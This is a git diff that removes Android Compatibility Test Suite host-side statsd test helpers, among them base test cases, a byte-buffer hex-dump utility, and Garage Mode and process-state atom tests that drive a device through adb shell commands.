- final int indentLevel = matcher.group(1).length();
- if (indentLevel <= classIndentLevel) {
- break;
- }
- // Parse key-value pair if it belongs to the instance directly
- matcher = keyValuePattern.matcher(responseLines.poll());
- if (indentLevel == classIndentLevel + 1 && matcher.matches()) {
- instanceEntries.put(matcher.group(2), matcher.group(3));
- }
- }
- results.add(instanceEntries);
- }
- }
- return results;
- }
-
- protected int getActiveSimSlotCount() throws Exception {
- List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
- long count = slots.stream().filter(slot -> "true".equals(slot.get("mActive"))).count();
- return Math.toIntExact(count);
- }
-
- /**
- * Returns the upper bound of active SIM profile count.
- *
- * <p>The value is an upper bound as eSIMs without profiles are also counted in.
- */
- protected int getActiveSimCountUpperBound() throws Exception {
- List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
- long count = slots.stream().filter(slot ->
- "true".equals(slot.get("mActive"))
- && "CARDSTATE_PRESENT".equals(slot.get("mCardState"))).count();
- return Math.toIntExact(count);
- }
-
- /**
- * Returns the upper bound of active eSIM profile count.
- *
- * <p>The value is an upper bound as eSIMs without profiles are also counted in.
- */
- protected int getActiveEsimCountUpperBound() throws Exception {
- List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
- long count = slots.stream().filter(slot ->
- "true".equals(slot.get("mActive"))
- && "CARDSTATE_PRESENT".equals(slot.get("mCardState"))
- && "true".equals(slot.get("mIsEuicc"))).count();
- return Math.toIntExact(count);
- }
-
- protected boolean hasGsmPhone() throws Exception {
- // Not using log entries or ServiceState in the dump since they may or may not be present,
- // which can make the test flaky
- return getTelephonyDumpEntries("Phone").stream()
- .anyMatch(phone ->
- String.format("%d", PHONE_TYPE_GSM).equals(phone.get("getPhoneType()")));
- }
-
- protected boolean hasCdmaPhone() throws Exception {
- // Not using log entries or ServiceState in the dump due to the same reason as hasGsmPhone()
- return getTelephonyDumpEntries("Phone").stream()
- .anyMatch(phone ->
- String.format("%d", PHONE_TYPE_CDMA).equals(phone.get("getPhoneType()"))
- || String.format("%d", PHONE_TYPE_CDMA_LTE)
- .equals(phone.get("getPhoneType()")));
- }
-
- // Checks that a timestamp has been truncated to be a multiple of 5 min
- protected void assertTimestampIsTruncated(long timestampNs) {
- long fiveMinutesInNs = NS_PER_SEC * 5 * 60;
- assertWithMessage("Timestamp is not truncated")
- .that(timestampNs % fiveMinutesInNs).isEqualTo(0);
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
deleted file mode 100644
index 0c9921e..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
+++ /dev/null
@@ -1,183 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.statsd.atom;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.validation.ValidationTestUtil;
-
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
-import com.android.ddmlib.testrunner.TestResult.TestStatus;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.CollectingByteOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.CollectingTestListener;
-import com.android.tradefed.result.TestDescription;
-import com.android.tradefed.result.TestResult;
-import com.android.tradefed.result.TestRunResult;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-
-import com.google.protobuf.InvalidProtocolBufferException;
-import com.google.protobuf.MessageLite;
-import com.google.protobuf.Parser;
-
-import java.io.FileNotFoundException;
-import java.util.Map;
-
-import javax.annotation.Nonnull;
-import javax.annotation.Nullable;
-
-// Largely copied from incident's ProtoDumpTestCase
-public class BaseTestCase extends DeviceTestCase implements IBuildReceiver {
-
- protected IBuildInfo mCtsBuild;
-
- private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- assertThat(mCtsBuild).isNotNull();
- }
-
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mCtsBuild = buildInfo;
- }
-
- public IBuildInfo getBuild() {
- return mCtsBuild;
- }
-
- /**
- * Create and return {@link ValidationTestUtil} and give it the current build.
- */
- public ValidationTestUtil createValidationUtil() {
- ValidationTestUtil util = new ValidationTestUtil();
- util.setBuild(getBuild());
- return util;
- }
-
- /**
- * Call onto the device with an adb shell command and get the results of
- * that as a proto of the given type.
- *
- * @param parser A protobuf parser object. e.g. MyProto.parser()
- * @param command The adb shell command to run. e.g. "dumpsys fingerprint --proto"
- *
- * @throws DeviceNotAvailableException If there was a problem communicating with
- * the test device.
- * @throws InvalidProtocolBufferException If there was an error parsing
- * the proto. Note that a 0 length buffer is not necessarily an error.
- */
- public <T extends MessageLite> T getDump(Parser<T> parser, String command)
- throws DeviceNotAvailableException, InvalidProtocolBufferException {
- final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
- getDevice().executeShellCommand(command, receiver);
- if (false) {
- CLog.d("Command output while parsing " + parser.getClass().getCanonicalName()
- + " for command: " + command + "\n"
- + BufferDebug.debugString(receiver.getOutput(), -1));
- }
- try {
- return parser.parseFrom(receiver.getOutput());
- } catch (Exception ex) {
- CLog.d("Error parsing " + parser.getClass().getCanonicalName() + " for command: "
- + command
- + BufferDebug.debugString(receiver.getOutput(), 16384));
- throw ex;
- }
- }
-
- /**
- * Install a device side test package.
- *
- * @param appFileName Apk file name, such as "CtsNetStatsApp.apk".
- * @param grantPermissions whether to give runtime permissions.
- */
- protected void installPackage(String appFileName, boolean grantPermissions)
- throws FileNotFoundException, DeviceNotAvailableException {
- CLog.d("Installing app " + appFileName);
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
- final String result = getDevice().installPackage(
- buildHelper.getTestFile(appFileName), true, grantPermissions);
- assertWithMessage(String.format("Failed to install %s: %s", appFileName, result))
- .that(result).isNull();
- }
-
- protected CompatibilityBuildHelper getBuildHelper() {
- return new CompatibilityBuildHelper(mCtsBuild);
- }
-
- /**
- * Run a device side test.
- *
- * @param pkgName Test package name, such as "com.android.server.cts.netstats".
- * @param testClassName Test class name; either a fully qualified name, or "." + a class name.
- * @param testMethodName Test method name.
- * @return {@link TestRunResult} of this invocation.
- * @throws DeviceNotAvailableException
- */
- @Nonnull
- protected TestRunResult runDeviceTests(@Nonnull String pkgName,
- @Nullable String testClassName, @Nullable String testMethodName)
- throws DeviceNotAvailableException {
- if (testClassName != null && testClassName.startsWith(".")) {
- testClassName = pkgName + testClassName;
- }
-
- RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
- pkgName, TEST_RUNNER, getDevice().getIDevice());
- if (testClassName != null && testMethodName != null) {
- testRunner.setMethodName(testClassName, testMethodName);
- } else if (testClassName != null) {
- testRunner.setClassName(testClassName);
- }
-
- CollectingTestListener listener = new CollectingTestListener();
- assertThat(getDevice().runInstrumentationTests(testRunner, listener)).isTrue();
-
- final TestRunResult result = listener.getCurrentRunResults();
- if (result.isRunFailure()) {
- throw new Error("Failed to successfully run device tests for "
- + result.getName() + ": " + result.getRunFailureMessage());
- }
- if (result.getNumTests() == 0) {
- throw new Error("No tests were run on the device");
- }
-
- if (result.hasFailedTests()) {
- // build a meaningful error message
- StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
- for (Map.Entry<TestDescription, TestResult> resultEntry :
- result.getTestResults().entrySet()) {
- if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
- errorBuilder.append(resultEntry.getKey().toString());
- errorBuilder.append(":\n");
- errorBuilder.append(resultEntry.getValue().getStackTrace());
- }
- }
- throw new AssertionError(errorBuilder.toString());
- }
-
- return result;
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/BufferDebug.java b/hostsidetests/statsd/src/android/cts/statsd/atom/BufferDebug.java
deleted file mode 100644
index 2b35052..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/BufferDebug.java
+++ /dev/null
@@ -1,144 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.statsd.atom;
-
-import java.nio.charset.StandardCharsets;
-import java.util.Formatter;
-
-/**
- * Print utility for byte[].
- */
-public class BufferDebug {
- private static final int HALF_WIDTH = 8;
-
- /**
- * Number of bytes represented per row in hex output.
- */
- public static final int WIDTH = HALF_WIDTH * 2;
-
- /**
- * Return a string suitable for debugging.
- * - If the byte is printable as an ascii string, return that, in quotation marks,
- * with a newline at the end.
- * - Otherwise, return the hexdump -C style output.
- *
- * @param buf the buffer
- * @param max print up to _max_ bytes, or the length of the string. If max is 0,
- * print the whole contents of buf.
- */
- public static String debugString(byte[] buf, int max) {
- if (buf == null) {
- return "(null)";
- }
- if (buf.length == 0) {
- return "(length 0)";
- }
-
- int len = max;
- if (len <= 0 || len > buf.length) {
- max = len = buf.length;
- }
-
- if (isPrintable(buf, len)) {
- return "\"" + new String(buf, 0, len, StandardCharsets.UTF_8) + "\"\n";
- } else {
- return toHex(buf, len, max);
- }
- }
-
- private static String toHex(byte[] buf, int len, int max) {
- final StringBuilder str = new StringBuilder();
-
- // All but the last row
- int rows = len / WIDTH;
- for (int row = 0; row < rows; row++) {
- writeRow(str, buf, row * WIDTH, WIDTH, max);
- }
-
- // Last row
- if (len % WIDTH != 0) {
- writeRow(str, buf, rows * WIDTH, max - (rows * WIDTH), max);
- }
-
- // Final len
- str.append(String.format("%10d 0x%08x ", buf.length, buf.length));
- if (buf.length != max) {
- str.append(String.format("truncated to %d 0x%08x", max, max));
- }
- str.append('\n');
-
- return str.toString();
- }
-
- private static void writeRow(StringBuilder str, byte[] buf, int start, int len, int max) {
- final Formatter f = new Formatter(str);
-
- // Start index
- f.format("%10d 0x%08x ", start, start);
-
- // One past the last char we will print
- int end = start + len;
- // Number of missing caracters due to this being the last line.
- int padding = 0;
- if (start + WIDTH > max) {
- padding = WIDTH - (end % WIDTH);
- end = max;
- }
-
- // Hex
- for (int i = start; i < end; i++) {
- f.format("%02x ", buf[i]);
- if (i == start + HALF_WIDTH - 1) {
- str.append(" ");
- }
- }
- for (int i = 0; i < padding; i++) {
- str.append(" ");
- }
- if (padding >= HALF_WIDTH) {
- str.append(" ");
- }
-
- str.append(" ");
- for (int i = start; i < end; i++) {
- byte b = buf[i];
- if (isPrintable(b)) {
- str.append((char)b);
- } else {
- str.append('.');
- }
- if (i == start + HALF_WIDTH - 1) {
- str.append(" ");
- }
- }
-
- str.append('\n');
- }
-
- private static boolean isPrintable(byte[] buf, int len) {
- for (int i=0; i<len; i++) {
- if (!isPrintable(buf[i])) {
- return false;
- }
- }
- return true;
- }
-
- private static boolean isPrintable(byte c) {
- return c >= 0x20 && c <= 0x7e;
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
deleted file mode 100644
index 03facd0..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
+++ /dev/null
@@ -1,328 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.MessageMatcher;
-import com.android.internal.os.StatsdConfigProto.Position;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.Arrays;
-import java.util.List;
-
-/**
- * Base class for testing Statsd atoms that report a uid. Tests are performed via a device-side app.
- */
-public class DeviceAtomTestCase extends AtomTestCase {
-
- public static final String DEVICE_SIDE_TEST_APK = "CtsStatsdApp.apk";
- public static final String DEVICE_SIDE_TEST_PACKAGE =
- "com.android.server.cts.device.statsd";
- public static final long DEVICE_SIDE_TEST_PACKAGE_VERSION = 10;
- public static final String DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME =
- "com.android.server.cts.device.statsd.StatsdCtsForegroundService";
- private static final String DEVICE_SIDE_BG_SERVICE_COMPONENT =
- "com.android.server.cts.device.statsd/.StatsdCtsBackgroundService";
- public static final long DEVICE_SIDE_TEST_PKG_HASH =
- Long.parseUnsignedLong("15694052924544098582");
-
- // Constants from device side tests (not directly accessible here).
- public static final String KEY_ACTION = "action";
- public static final String ACTION_LMK = "action.lmk";
-
- public static final String CONFIG_NAME = "cts_config";
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
- installTestApp();
- Thread.sleep(1000);
- }
-
- @Override
- protected void tearDown() throws Exception {
- getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
- super.tearDown();
- }
-
- /**
- * Performs a device-side test by calling a method on the app and returns its stats events.
- * @param methodName the name of the method in the app's AtomTests to perform
- * @param atom atom tag (from atoms.proto)
- * @param key atom's field corresponding to state
- * @param stateOn 'on' value
- * @param stateOff 'off' value
- * @param minTimeDiffMs max allowed time between start and stop
- * @param maxTimeDiffMs min allowed time between start and stop
- * @param demandExactlyTwo whether there must be precisely two events logged (1 start, 1 stop)
- * @return list of events with the app's uid matching the configuration defined by the params.
- */
- protected List<EventMetricData> doDeviceMethodOnOff(
- String methodName, int atom, int key, int stateOn, int stateOff,
- int minTimeDiffMs, int maxTimeDiffMs, boolean demandExactlyTwo) throws Exception {
- StatsdConfig.Builder conf = createConfigBuilder();
- addAtomEvent(conf, atom, createFvm(key).setEqInt(stateOn));
- addAtomEvent(conf, atom, createFvm(key).setEqInt(stateOff));
- List<EventMetricData> data = doDeviceMethod(methodName, conf);
-
- if (demandExactlyTwo) {
- assertThat(data).hasSize(2);
- } else {
- assertThat(data.size()).isAtLeast(2);
- }
- assertTimeDiffBetween(data.get(0), data.get(1), minTimeDiffMs, maxTimeDiffMs);
- return data;
- }
-
- /**
- *
- * @param methodName the name of the method in the app's AtomTests to perform
- * @param cfg statsd configuration
- * @return list of events with the app's uid matching the configuration.
- */
- protected List<EventMetricData> doDeviceMethod(String methodName, StatsdConfig.Builder cfg)
- throws Exception {
- removeConfig(CONFIG_ID);
- getReportList(); // Clears previous data on disk.
- uploadConfig(cfg);
- int appUid = getUid();
- LogUtil.CLog.d("\nPerforming device-side test of " + methodName + " for uid " + appUid);
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", methodName);
-
- return getEventMetricDataList();
- }
-
- protected void createAndUploadConfig(int atomTag, boolean useAttribution) throws Exception {
- StatsdConfig.Builder conf = createConfigBuilder();
- addAtomEvent(conf, atomTag, useAttribution);
- uploadConfig(conf);
- }
-
- /**
- * Adds an event to the config for an atom that matches the given key AND has the app's uid.
- * @param conf configuration
- * @param atomTag atom tag (from atoms.proto)
- * @param fvm FieldValueMatcher.Builder for the relevant key
- */
- @Override
- protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag, FieldValueMatcher.Builder fvm)
- throws Exception {
-
- final int UID_KEY = 1;
- FieldValueMatcher.Builder fvmUid = createAttributionFvm(UID_KEY);
- addAtomEvent(conf, atomTag, Arrays.asList(fvm, fvmUid));
- }
-
- /**
- * Adds an event to the config for an atom that matches the app's uid.
- * @param conf configuration
- * @param atomTag atom tag (from atoms.proto)
- * @param useAttribution If true, the atom has a uid within an attribution node. Else, the atom
- * has a uid but not in an attribution node.
- */
- protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag,
- boolean useAttribution) throws Exception {
- final int UID_KEY = 1;
- FieldValueMatcher.Builder fvmUid;
- if (useAttribution) {
- fvmUid = createAttributionFvm(UID_KEY);
- } else {
- fvmUid = createFvm(UID_KEY).setEqString(DEVICE_SIDE_TEST_PACKAGE);
- }
- addAtomEvent(conf, atomTag, Arrays.asList(fvmUid));
- }
-
- /**
- * Creates a FieldValueMatcher for atoms that use AttributionNode
- */
- protected FieldValueMatcher.Builder createAttributionFvm(int field) {
- final int ATTRIBUTION_NODE_UID_KEY = 1;
- return createFvm(field).setPosition(Position.ANY)
- .setMatchesTuple(MessageMatcher.newBuilder()
- .addFieldValueMatcher(createFvm(ATTRIBUTION_NODE_UID_KEY)
- .setEqString(DEVICE_SIDE_TEST_PACKAGE)));
- }
-
- /**
- * Gets the uid of the test app.
- */
- protected int getUid() throws Exception {
- int currentUser = getDevice().getCurrentUser();
- String uidLine = getDevice().executeShellCommand("cmd package list packages -U --user "
- + currentUser + " " + DEVICE_SIDE_TEST_PACKAGE);
- String[] uidLineParts = uidLine.split(":");
- // 3rd entry is package uid
- assertThat(uidLineParts.length).isGreaterThan(2);
- int uid = Integer.parseInt(uidLineParts[2].trim());
- assertThat(uid).isGreaterThan(10000);
- return uid;
- }
-
- /**
- * Installs the test apk.
- */
- protected void installTestApp() throws Exception {
- installPackage(DEVICE_SIDE_TEST_APK, true);
- LogUtil.CLog.i("Installing device-side test app with uid " + getUid());
- allowBackgroundServices();
- }
-
- /**
- * Uninstalls the test apk.
- */
- protected void uninstallPackage() throws Exception{
- getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
- }
-
- /**
- * Required to successfully start a background service from adb in Android O.
- */
- protected void allowBackgroundServices() throws Exception {
- getDevice().executeShellCommand(String.format(
- "cmd deviceidle tempwhitelist %s", DEVICE_SIDE_TEST_PACKAGE));
- }
-
- /**
- * Runs a (background) service to perform the given action.
- * @param actionValue the action code constants indicating the desired action to perform.
- */
- protected void executeBackgroundService(String actionValue) throws Exception {
- allowBackgroundServices();
- getDevice().executeShellCommand(String.format(
- "am startservice -n '%s' -e %s %s",
- DEVICE_SIDE_BG_SERVICE_COMPONENT,
- KEY_ACTION, actionValue));
- }
-
-
- /** Make the test app standby-active so it can run syncs and jobs immediately. */
- protected void allowImmediateSyncs() throws Exception {
- getDevice().executeShellCommand("am set-standby-bucket "
- + DEVICE_SIDE_TEST_PACKAGE + " active");
- }
-
- /**
- * Runs the specified activity.
- */
- protected void runActivity(String activity, String actionKey, String actionValue)
- throws Exception {
- runActivity(activity, actionKey, actionValue, WAIT_TIME_LONG);
- }
-
- /**
- * Runs the specified activity.
- */
- protected void runActivity(String activity, String actionKey, String actionValue,
- long waitTime) throws Exception {
- try (AutoCloseable a = withActivity(activity, actionKey, actionValue)) {
- Thread.sleep(waitTime);
- }
- }
-
- /**
- * Starts the specified activity and returns an {@link AutoCloseable} that stops the activity
- * when closed.
- *
- * <p>Example usage:
- * <pre>
- * try (AutoClosable a = withActivity("activity", "action", "action-value")) {
- * doStuff();
- * }
- * </pre>
- */
- protected AutoCloseable withActivity(String activity, String actionKey, String actionValue)
- throws Exception {
- String intentString = null;
- if (actionKey != null && actionValue != null) {
- intentString = actionKey + " " + actionValue;
- }
- if (intentString == null) {
- getDevice().executeShellCommand(
- "am start -n " + DEVICE_SIDE_TEST_PACKAGE + "/." + activity);
- } else {
- getDevice().executeShellCommand(
- "am start -n " + DEVICE_SIDE_TEST_PACKAGE + "/." + activity + " -e " +
- intentString);
- }
- return () -> {
- getDevice().executeShellCommand(
- "am force-stop " + DEVICE_SIDE_TEST_PACKAGE);
- Thread.sleep(WAIT_TIME_SHORT);
- };
- }
-
- protected void resetBatteryStats() throws Exception {
- getDevice().executeShellCommand("dumpsys batterystats --reset");
- }
-
- protected void clearProcStats() throws Exception {
- getDevice().executeShellCommand("dumpsys procstats --clear");
- }
-
- protected void startProcStatsTesting() throws Exception {
- getDevice().executeShellCommand("dumpsys procstats --start-testing");
- }
-
- protected void stopProcStatsTesting() throws Exception {
- getDevice().executeShellCommand("dumpsys procstats --stop-testing");
- }
-
- protected void commitProcStatsToDisk() throws Exception {
- getDevice().executeShellCommand("dumpsys procstats --commit");
- }
-
- protected void rebootDeviceAndWaitUntilReady() throws Exception {
- rebootDevice();
- // Wait for 2 mins.
- assertWithMessage("Device failed to boot")
- .that(getDevice().waitForBootComplete(120_000)).isTrue();
- assertWithMessage("Stats service failed to start")
- .that(waitForStatsServiceStart(60_000)).isTrue();
- Thread.sleep(2_000);
- }
-
- protected boolean waitForStatsServiceStart(final long waitTime) throws Exception {
- LogUtil.CLog.i("Waiting %d ms for stats service to start", waitTime);
- int counter = 1;
- long startTime = System.currentTimeMillis();
- while ((System.currentTimeMillis() - startTime) < waitTime) {
- if ("running".equals(getProperty("init.svc.statsd"))) {
- return true;
- }
- Thread.sleep(Math.min(200 * counter, 2_000));
- counter++;
- }
- LogUtil.CLog.w("Stats service did not start after %d ms", waitTime);
- return false;
- }
-
- boolean getNetworkStatsCombinedSubTypeEnabled() throws Exception {
- final String output = getDevice().executeShellCommand(
- "settings get global netstats_combine_subtype_enabled").trim();
- return output.equals("1");
- }
-
- void setNetworkStatsCombinedSubTypeEnabled(boolean enable) throws Exception {
- getDevice().executeShellCommand("settings put global netstats_combine_subtype_enabled "
- + (enable ? "1" : "0"));
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/GarageModeAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/GarageModeAtomTests.java
deleted file mode 100644
index ee86f01c..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/GarageModeAtomTests.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.EventMetricData;
-
-import java.util.List;
-
-/**
- * Verifies that Automotive's Garage Mode reports its status.
- * Statsd atom tests are done via adb (hostside).
- */
-public class GarageModeAtomTests extends AtomTestCase {
-
- private static final String TAG = "Statsd.GarageModeAtomTests";
- private static final int SHORT_SLEEP = 100; // Milliseconds
- private static final int TRY_LIMIT = WAIT_TIME_SHORT / SHORT_SLEEP;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- }
-
- public void testGarageModeOnOff() throws Exception {
- if (!hasFeature(FEATURE_AUTOMOTIVE, true)) {
- return;
- }
-
- final int atomTag = Atom.GARAGE_MODE_INFO_FIELD_NUMBER;
- createAndUploadConfig(atomTag);
-
- // Flush any old metrics
- List<EventMetricData> data = getEventMetricDataList();
-
- turnOnGarageMode();
- waitForGarageModeState(true);
-
- turnOffGarageMode();
- waitForGarageModeState(false);
- }
-
- private void turnOnGarageMode() throws Exception {
- getDevice().executeShellCommand("cmd car_service garage-mode on");
- }
- private void turnOffGarageMode() throws Exception {
- getDevice().executeShellCommand("cmd car_service garage-mode off");
- }
-
- private void waitForGarageModeState(boolean requiredState) throws Exception {
- for (int tryCount = 0; tryCount < TRY_LIMIT; tryCount++) {
- List<EventMetricData> data = getEventMetricDataList();
- for (EventMetricData d : data) {
- boolean isGarageMode = d.getAtom().getGarageModeInfo().getIsGarageMode();
- if (isGarageMode == requiredState) {
- return;
- }
- }
- Thread.sleep(SHORT_SLEEP);
- }
- assertTrue("Did not receive an atom with Garage Mode "
- + (requiredState ? "ON" : "OFF"), false);
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateTestCase.java
deleted file mode 100644
index 2fa4233..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateTestCase.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import android.app.ProcessStateEnum; // From enums.proto for atoms.proto's UidProcessStateChanged.
-
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.EventMetricData;
-
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-import java.util.function.Function;
-import java.util.stream.Collectors;
-import java.util.stream.Stream;
-
-/**
- * Base class for manipulating process states
- */
-public class ProcStateTestCase extends DeviceAtomTestCase {
-
- private static final String TAG = "Statsd.ProcStateTestCase";
-
- private static final String DEVICE_SIDE_FG_ACTIVITY_COMPONENT
- = "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity";
- private static final String DEVICE_SIDE_FG_SERVICE_COMPONENT
- = "com.android.server.cts.device.statsd/.StatsdCtsForegroundService";
-
- // Constants from the device-side tests (not directly accessible here).
- public static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
- public static final String ACTION_BACKGROUND_SLEEP = "action.background_sleep";
- public static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
- public static final String ACTION_LONG_SLEEP_WHILE_TOP = "action.long_sleep_top";
- public static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
-
- // Sleep times (ms) that actions invoke device-side.
- public static final int SLEEP_OF_ACTION_SLEEP_WHILE_TOP = 2_000;
- public static final int SLEEP_OF_ACTION_LONG_SLEEP_WHILE_TOP = 60_000;
- public static final int SLEEP_OF_ACTION_BACKGROUND_SLEEP = 2_000;
- public static final int SLEEP_OF_FOREGROUND_SERVICE = 2_000;
-
-
- /**
- * Runs an activity (in the foreground) to perform the given action.
- * @param actionValue the action code constants indicating the desired action to perform.
- */
- protected void executeForegroundActivity(String actionValue) throws Exception {
- getDevice().executeShellCommand(String.format(
- "am start -n '%s' -e %s %s",
- DEVICE_SIDE_FG_ACTIVITY_COMPONENT,
- KEY_ACTION, actionValue));
- }
-
- /**
- * Runs a simple foreground service.
- */
- protected void executeForegroundService() throws Exception {
- executeForegroundActivity(ACTION_END_IMMEDIATELY);
- getDevice().executeShellCommand(String.format(
- "am startservice -n '%s'", DEVICE_SIDE_FG_SERVICE_COMPONENT));
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTestCase.java
deleted file mode 100644
index 0ccb13c..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTestCase.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.statsd.metadata;
-
-import android.cts.statsd.atom.AtomTestCase;
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.StatsdStatsReport;
-import com.android.tradefed.log.LogUtil;
-
-public class MetadataTestCase extends AtomTestCase {
- public static final String DUMP_METADATA_CMD = "cmd stats print-stats";
-
- protected StatsdStatsReport getStatsdStatsReport() throws Exception {
- try {
- StatsdStatsReport report = getDump(StatsdStatsReport.parser(),
- String.join(" ", DUMP_METADATA_CMD, "--proto"));
- return report;
- } catch (com.google.protobuf.InvalidProtocolBufferException e) {
- LogUtil.CLog.e("Failed to fetch and parse the statsdstats output report.");
- throw (e);
- }
- }
-
- protected final StatsdConfig.Builder getBaseConfig() throws Exception {
- StatsdConfig.Builder builder = createConfigBuilder();
- addAtomEvent(builder, Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
- return builder;
- }
